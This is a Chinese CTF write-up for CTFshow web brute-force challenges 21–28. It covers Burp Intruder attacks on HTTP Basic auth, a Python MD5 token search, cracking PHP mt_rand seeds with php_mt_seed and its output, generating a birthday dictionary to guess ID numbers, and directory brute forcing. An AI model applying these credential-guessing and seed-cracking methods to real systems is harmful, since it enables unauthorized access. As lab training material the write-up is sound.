CTFSHOW web 爆破WriteUP
WEB21
爆破什么的,都是基操
打开环境后发现登录,然后随便输入密码用burp抓包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
GET / HTTP/1.1
Host: f57b8182-620f-42bb-96d2-07460dab13f7.challenge.ctf.show
Cache-Control: max-age=0
Authorization: Basic YWRtaW46MTIzNDU=
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
|
发现Authorization的内容是base编码,使用base64解出admin:12345,正是刚刚输入的内容。
使用Burp的Intruder功能爆破,插入到Authorization后面
1
|
Authorization: Basic §§
|
payload类型设置简单列表然后导入字典
然后payload处理中设置以下形式
1
2
|
Add Prefix: admin:
Base64-encode
|
不过试了几个字典都没爆出来最后没办法了直接看的答案
账号密码分别为admin:shark63,提交请求直接获取到flag
WEB22
域名也可以爆破的,试试爆破这个ctf.show的子域名
这道题因为原来域名失效导致做不了了,直接给出了flag
WEB23
还爆破?这么多代码,告辞!
从源码中可以看出请求参数为/?token=***
可以看出token是匹配特殊的md5格式,使用chatgpt询问并让其编写代码
1
2
3
4
5
6
7
8
9
10
11
|
代码解析
include('flag.php');:假设 flag.php 文件中包含一个变量 $flag,其内容为我们想要获得的敏感信息。
if(isset($_GET['token'])){:检查是否通过 GET 方法传递了 token 参数。
$token = md5($_GET['token']);:对 token 参数执行 md5 哈希计算,结果保存在 $token 变量中。$token 现在是一个32位的16进制字符串。
条件判断:
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)):检查 $token 字符串中第2位、第15位和第18位是否相同。substr 用于截取 $token 中的单个字符,索引从0开始,因此 substr($token, 1,1) 表示获取第二个字符。
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))):这条语句在继续检查,如果前面的条件通过,那么它进一步验证一个数学关系:
首先,它将第2位、第15位和第18位的字符值相加并除以第2位的字符值,结果与第32位字符值相等。
这里使用 intval 将字符转换为整数值,以便执行数学运算。
echo $flag;:如果上述所有条件都满足,程序输出 $flag,即敏感信息。
highlight_file(__FILE__);:如果没有传递 token 参数,或 token 不满足条件,那么将显示当前文件的源代码。
|
1
2
3
4
5
6
7
8
|
如何找到满足条件的 token
为了获得 $flag,我们需要构造一个 token 值,使得它的 md5 哈希结果满足所有条件:
满足字符相等性条件:
substr($token, 1,1), substr($token, 14,1), 和 substr($token, 17,1) 的字符必须相等。例如,可以选择一个简单的整数或字符,使得 md5 的第2位、第15位和第18位字符相同。
满足数学条件:
确保 (intval(substr($token, 1,1)) + intval(substr($token, 14,1)) + intval(substr($token, 17,1))) / substr($token, 1,1) === intval(substr($token, 31,1))。
这意味着我们需要调整 token 的值,使得 md5 哈希的第2位和第32位符号满足该数学条件。
可以使用代码或手动尝试生成一个值,使其 md5 哈希符合上述规则。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import hashlib
def find_token():
for i in range(100000): # 尝试0到99999的整数作为候选 token
token = str(i) # 将候选值转换为字符串
md5_hash = hashlib.md5(token.encode()).hexdigest()
# 检查条件:第2位、第15位和第18位字符是否相同
if md5_hash[1] == md5_hash[14] == md5_hash[17]:
# 确保第2位和第32位字符都是数字
if md5_hash[1].isdigit() and md5_hash[31].isdigit():
# 检查数学条件
if (int(md5_hash[1]) + int(md5_hash[14]) + int(md5_hash[17])) / int(md5_hash[1]) == int(md5_hash[31]):
print(f"Found token: {token}")
print(f"MD5 hash: {md5_hash}")
return token # 返回符合条件的 token
print("No valid token found.")
return None
# 执行程序
find_token()
|
这个代码虽然比较简单,但是对于这道题以及够用了,运行直接输出
1
2
|
Found token: 422
MD5 hash: f85454e8279be180185cac7d243c5eb3
|
直接传参/?token=422获取flag
WEB24
爆个🔨
直接看php代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:26:39
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?> Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023
|
虽然是随机数,但是种子都给我们了还有啥好说的,直接写个文件解出来咯
1
2
3
4
|
<?php
mt_srand(372619038);
echo mt_rand();
?>
|
解出1155388967,直接传参?r=1155388967获取到flag
WEB25
爆个🔨,不爆了
这道题一看感觉难了不少,虽然还是传参,但是没有前两道可以一眼丁真了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:56:57
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023
|
随便传俩参发现会返回一个值,询问chatgpt分析后发现这个语句mt_srand(hexdec(substr(md5($flag), 0,8)));
用 $flag 的 MD5 散列值的前8位作为种子,设置了一个特定的随机数种子,然后把传进去的参和这个值做差,直接传个r=0直接就得出了参数?r=1570172612
然后思路就卡死了……因为并不知道开始的种子,爆破不知道要爆到什么时候…..看了几个wp和提示,通过这里下载了一个爆破种子的软件,我是在Linux下编译运行的,输入第一个种子,
1
2
3
4
|
<?php
mt_srand(202568455); //爆破出的种子
echo mt_rand()+mt_rand()+mt_rand()-第一个mt_rand的值; // 由于执行了3次,而期望的值(cookie)只需要第二三个,这里减去第一个值
?>
|
这里试了非常!非常!久!复现别人的都成功了(比如提示里那个),但是我这个每个都试了就是不行,我猜测是这个种子无解导致的,这里贴上解出来的内容和种子,希望有大佬可以解答一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
┌──(root㉿kali)-[/home/kali/桌面/233/php_mt_seed-4.0]
└─# '/home/kali/桌面/233/php_mt_seed-4.0/php_mt_seed' 1570172612
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xc8000000 - 0xcbffffff, speed 16777.2 Mseeds/s
seed = 0xcbd7561a = 3419887130 (PHP 3.0.7 to 5.2.0)
seed = 0xcbd7561b = 3419887131 (PHP 3.0.7 to 5.2.0)
Found 2, trying 0xfc000000 - 0xffffffff, speed 16911.4 Mseeds/s
Version: 5.2.1+
Found 2, trying 0xb2000000 - 0xb3ffffff, speed 167.2 Mseeds/s
seed = 0xb38818b6 = 3012040886 (PHP 5.2.1 to 7.0.x; HHVM)
Found 3, trying 0xbc000000 - 0xbdffffff, speed 166.4 Mseeds/s
seed = 0xbd0e7df0 = 3171843568 (PHP 5.2.1 to 7.0.x; HHVM)
Found 4, trying 0xc6000000 - 0xc7ffffff, speed 166.1 Mseeds/s
seed = 0xc7d72544 = 3352765764 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc7d72544 = 3352765764 (PHP 7.1.0+)
Found 6, trying 0xd2000000 - 0xd3ffffff, speed 165.9 Mseeds/s
seed = 0xd2005b5c = 3523238748 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xd2005b5c = 3523238748 (PHP 7.1.0+)
Found 8, trying 0xfe000000 - 0xffffffff, speed 165.2 Mseeds/s
Found 8
|
重开环境再次进行测试
这次输出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
┌──(root㉿kali)-[/home/kali/桌面/233/php_mt_seed-4.0]
└─# '/home/kali/桌面/233/php_mt_seed-4.0/php_mt_seed' 1164719300
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0x88000000 - 0x8bffffff, speed 17551.5 Mseeds/s
seed = 0x8bf3d33e = 2348012350 (PHP 3.0.7 to 5.2.0)
seed = 0x8bf3d33f = 2348012351 (PHP 3.0.7 to 5.2.0)
Found 2, trying 0xfc000000 - 0xffffffff, speed 17616.1 Mseeds/s
Version: 5.2.1+
Found 2, trying 0x32000000 - 0x33ffffff, speed 161.9 Mseeds/s
seed = 0x334a2baf = 860498863 (PHP 7.1.0+)
Found 3, trying 0x84000000 - 0x85ffffff, speed 163.8 Mseeds/s
seed = 0x8540cacf = 2235615951 (PHP 5.2.1 to 7.0.x; HHVM)
Found 4, trying 0xa4000000 - 0xa5ffffff, speed 164.3 Mseeds/s
seed = 0xa490bd69 = 2760949097 (PHP 7.1.0+)
Found 5, trying 0xfe000000 - 0xffffffff, speed 165.2 Mseeds/s
Found 5
|
使用以下代码出解
1
2
3
4
|
<?php
mt_srand(2760949097); //爆破出的种子
echo mt_rand()+mt_rand()+mt_rand()-1164719300; // 由于执行了3次,而期望的值(cookie)只需要第二三个,这里减去第一个值
?>
|
最后get传参?r=1164719300
,cookie使用Hackbartoken=1458369882
直接execute拿到flagctfshow{87e05252-fe88-4767-85e1-c75fd6eb124b}
然后不小心把容器销毁了,又要重做了呜呜呜
不过这道题倒是做出来了
WEB26
这个可以爆
这道题开始还以为是爆破,结果研究了半天发现要填入的项太多了不知道怎么做,后来直接填的空参数直接连接成功了,也是非常异或啊,直接用burp重放器发送请求即可看到flag
WEB27
CTFshow菜鸡学院招生啦!
看到有录取名单列表,打开发现身份证被去掉了出生日期这一部分,使用下面的脚本便捷地生成生日字典
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
from datetime import datetime, timedelta
def generate_birthday_dict(start_date, end_date):
"""
生成指定日期范围内的生日字典。
Args:
start_date (str): 开始日期,格式为 "YYYY-MM-DD"
end_date (str): 结束日期,格式为 "YYYY-MM-DD"
Returns:
dict: 生日字典,键为日期,值为空字符串(用于填写名字)
"""
date_format = "%Y%m%d"
start = datetime.strptime(start_date, date_format)
end = datetime.strptime(end_date, date_format)
current = start
birthday_dict = {}
while current <= end:
birthday_dict[current.strftime(date_format)] = ""
current += timedelta(days=1)
return birthday_dict
def save_birthday_dict_to_txt(birthday_dict, filename="birthdays.txt"):
"""
将生日字典保存到 txt 文件中。
Args:
birthday_dict (dict): 生日字典,键为日期,值为空字符串
filename (str): 输出文件名
"""
with open(filename, "w") as file:
for date, name in birthday_dict.items():
file.write(f"{date}\n")
print(f"生日字典已保存到 {filename}")
# 用户输入日期范围
start_date = input("请输入开始日期 (YYYYMMDD): ")
end_date = input("请输入结束日期 (YYYYMMDD): ")
# 生成生日字典并保存
birthday_dict = generate_birthday_dict(start_date, end_date)
save_birthday_dict_to_txt(birthday_dict)
|
生成一个1990-2010生日的字典,然后放到burp的重放器里跑一遍,发现
a=%E5%B5%87%E5%BC%80%E6%A2%A6&p=360730199110167653
成功得出结果,不过是\u的字符,找个在线网站解一下就可以了。解出账号和密码直接选择学生登录即可成功。
WEB28
大海捞针
这道题打开环境发现/0/1/2.txt,猜测是目录爆破,使用Burp的Intruder功能爆破,看提示后直接用/1-100/1-100扫描就可以了,不需要用别的复杂方法。